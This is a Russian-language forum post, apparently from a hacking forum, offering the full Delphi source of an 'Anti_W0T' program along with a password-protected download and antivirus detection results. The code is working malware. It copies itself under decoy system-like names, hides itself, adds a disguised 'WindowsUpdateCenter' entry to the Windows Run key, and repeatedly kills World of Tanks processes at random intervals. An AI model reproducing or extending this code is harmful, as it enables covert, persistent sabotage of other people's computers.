Собственно, выкладываю версию прошедшею отладку и тесты на работоспособность. На данной стадии ALPHA версия мной закончена.
Скачать|Download
Скачать|Download
Скачать|Download
passwd:dlab.org.in.alphaWOT
Если не заброшу проект, следующим шагом думаю вклиниться между юзером и игрой, таки образом отвязаться от реестра) Но это уже совсем другая софтина...)
----------------------------------------------------
ScanAV's 6/24
----------------------------------------------------
Subject: Anti_W0T_v0.2_alpha.exe
Size (bytes): 84992
Started at: 23:14 23.08.2013
Finished at: 23:14 23.08.2013
Duration: 00:00:49
MD5:b905f72c475f944a2a03c13d702c8562
SHA1:1440b464aee5ea54929ce885a01d2ff82dcf1dbd
Скачать|Download
Скачать|Download
Скачать|Downloadpasswd:dlab.org.in.alphaWOT
Исходный код:
Код:
// Code By DarckSol *ICQ*335*949*335*
// designed for the portal
// -=xss.pro/=-
// ArtWork
////////////////////////////////////
program Anti_W0T;
uses
windows,
Tlhelp32,
sysutils,
registry;
var
intervalup:integer;
sleeptime:integer;
const
regrootkey = HKEY_CURRENT_USER;
SysParams = $00000004;
HideParam = $00000002;
Launcher = 'WOTLauncher.exe';
W_0_T = 'WorldOfTanks.exe';
Function WoT_PROC_DIA(ExeFileName: String): Integer; stdcall;
const
PROCESS_TERMINATE = $0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin try
Result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
while Integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(
OpenProcess(PROCESS_TERMINATE, BOOL(0), FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
finally
end;
end;
Function xGenerator():string;
var
xname:array[0..19] of string;
Buffer: array[0..1023] of Char;
iResult:string;
begin
try
SetString(iResult, Buffer, GetTempPath(Sizeof(Buffer) - 1, Buffer));
//------------------------NameGen-----------
xname[0]:='WorldofTanckLauncher';
xname[1]:='mkuses';
xname[2]:='wininet';
xname[3]:='explorers';
xname[4]:='System';
xname[5]:='WorlOfTanckUpdate';
xname[6]:='lasso';
xname[7]:='xmodeupdate';
xname[8]:='LauncherMod';
xname[9]:='dllhosts';
xname[10]:='mss.dll';
xname[11]:='smssole';
xname[12]:='sqlitel';
xname[13]:='winhost';
xname[14]:='monhosts';
xname[15]:='oracle';
xname[16]:='.';
xname[17]:='e';
xname[18]:='x';
xname[19]:='e';
randomize;
result:=iResult+xname[random(15)]+xname[16]+xname[17]+xname[18]+xname[19];
except
end;
end;
Function SPOILERnt():bool;
var
I:integer;
ran:integer;
begin
for I := 0 to 1 do begin
//---
if i = 0 then
begin
windows.SetFileAttributes(pchar(paramstr(0)), SysParams);
randomize;
ran:=random(500);
ran:=ran+random(600)-100*1+100-121+100+21;
sleep(ran);
end;
if i = 1 then
begin
ran:=random(300)+random(100)+random(400)+random(300)-121*1+121;
sleep(ran);
windows.SetFileAttributes(pchar(paramstr(0)),HideParam);
end;
end;
end;
Procedure RegMyPlz;
var
reg:TRegistry;
xNP:string;
begin
try
xNP:=xGenerator;
copyfile(pchar(paramstr(0)),PChar(xNP),true);
reg:=TRegistry.Create;
reg.RootKey:=regrootkey;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('WindowsUpdateCenter',xNP);
reg.CloseKey;
reg.Destroy;
reg:=TRegistry.Create;
reg.RootKey:=regrootkey;
reg.OpenKey('Software\Microsoft',true);
if reg.OpenKey('WinWoT', true)=false then reg.CreateKey('WinWoT') else
reg.WriteString('0x0810123','0x00000072');
reg.CloseKey;
reg.Free;
except
end;
end;
Function check():boolean; //Start RegMyPlz
var
uCh:tregistry;
begin
try
uCH:=TRegistry.Create;
uCH.RootKey:=regrootkey;
uCH.OpenKey('\Software\Microsoft\WinWoT',true);
if uCH.ReadString('0x0810123') ='0x00000072' then
begin
result:=true;
end else
begin
RegMyPlz;
result:=false;
end;
finally
end;
end;
Function GetSleepTime():integer;
var
interval:integer;
options:array[0..9] of integer;
begin
options[0]:=300000; // 3 min
options[1]:=420000; // 4 min
options[2]:=900000; // 15 min
options[3]:=780000; // 13 min
options[4]:=840000; // 14 min
options[5]:=540000; // 5 min
options[6]:=270000;
options[7]:=420000;
options[8]:=150000;
options[9]:=450000;
randomize;
interval:=options[random(9)];
result:=interval;
end;
Procedure Start3;
begin
WoT_PROC_DIA(Launcher);
sleep(500);
WoT_PROC_DIA(W_0_T);
end;
Procedure Start1;
begin
if WoT_PROC_DIA(W_0_T) = 0 then WoT_PROC_DIA(Launcher);
end;
Procedure Start2;
begin
if WoT_PROC_DIA(Launcher) = 0 then WoT_PROC_DIA(W_0_T);
end;
Procedure Start_dia;
var
randomstart:array[0..9] of integer;
IStart:Integer;
begin
randomstart[0]:=0;
randomstart[1]:=1;
randomstart[2]:=2;
randomstart[3]:=3;
randomstart[4]:=4;
randomstart[5]:=5;
randomstart[6]:=6;
randomstart[7]:=7;
randomstart[8]:=8;
randomstart[9]:=9;
randomize;
IStart:=randomstart[random(9)];
if IStart = 0 then start1 else if IStart = 1 then start2 else if IStart=2 then start3 else if IStart=3 then start2 else
if IStart=4 then start1 else if IStart=5 then start3 else if IStart=6 then start1 else if IStart=7 then start2 else if IStart=8 then start1 else if IStart=9 then start3;
//--------------------
end;
//----BODY----
begin
intervalup:=15;
intervalup:=intervalup-5-5-3-2;
check;
SPOILERnt;
for intervalup := 1 to 999999909 do
begin
sleep(random(9009));
sleeptime:=GetSleepTime;
Start_dia;
sleep(sleeptime);
sleeptime:=0;
end;
end.
----------------------------------------------------
ScanAV's 6/24
----------------------------------------------------
Subject: Anti_W0T_v0.2_alpha.exe
Size (bytes): 84992
Started at: 23:14 23.08.2013
Finished at: 23:14 23.08.2013
Duration: 00:00:49
MD5:b905f72c475f944a2a03c13d702c8562
SHA1:1440b464aee5ea54929ce885a01d2ff82dcf1dbd